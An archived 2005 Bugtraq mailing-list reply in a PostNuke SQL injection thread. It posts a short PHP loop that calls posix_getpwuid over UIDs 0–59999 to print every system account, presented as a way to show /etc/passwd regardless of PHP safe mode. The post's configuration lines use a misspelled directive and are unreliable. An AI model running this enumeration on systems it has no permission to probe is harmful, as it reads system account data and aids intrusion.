bugtraq - Re: [SECURITYREASON.COM] PostNuke Critical SQL Injection 0.760-RC2=>x cXIb8O3.1

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Sat, 12 Mar 2005 16:37:41 +0200
From: Linux php <wassemgtk@...il.com>
To: bugtraq@...urityfocus.com
Subject: Re: [SECURITYREASON.COM] PostNuke Critical SQL Injection 0.760-RC2=>x cXIb8O3.1


hi look

show to /etc/passwd

php.ini

safe_mod_php= on ;

or

safe_mod_php=off ;

code

-------------------------------------------

  	for($uid=0;$uid<60000;$uid++){   
					$ara = posix_getpwuid($uid);
						if (!empty($ara)) {
  						while (list ($key, $val) = each($ara)){
   						 print "$val:";
  						}
 					 	print "<br>";
						}
					}
-------------------------------------------------------

show to /etc/passwd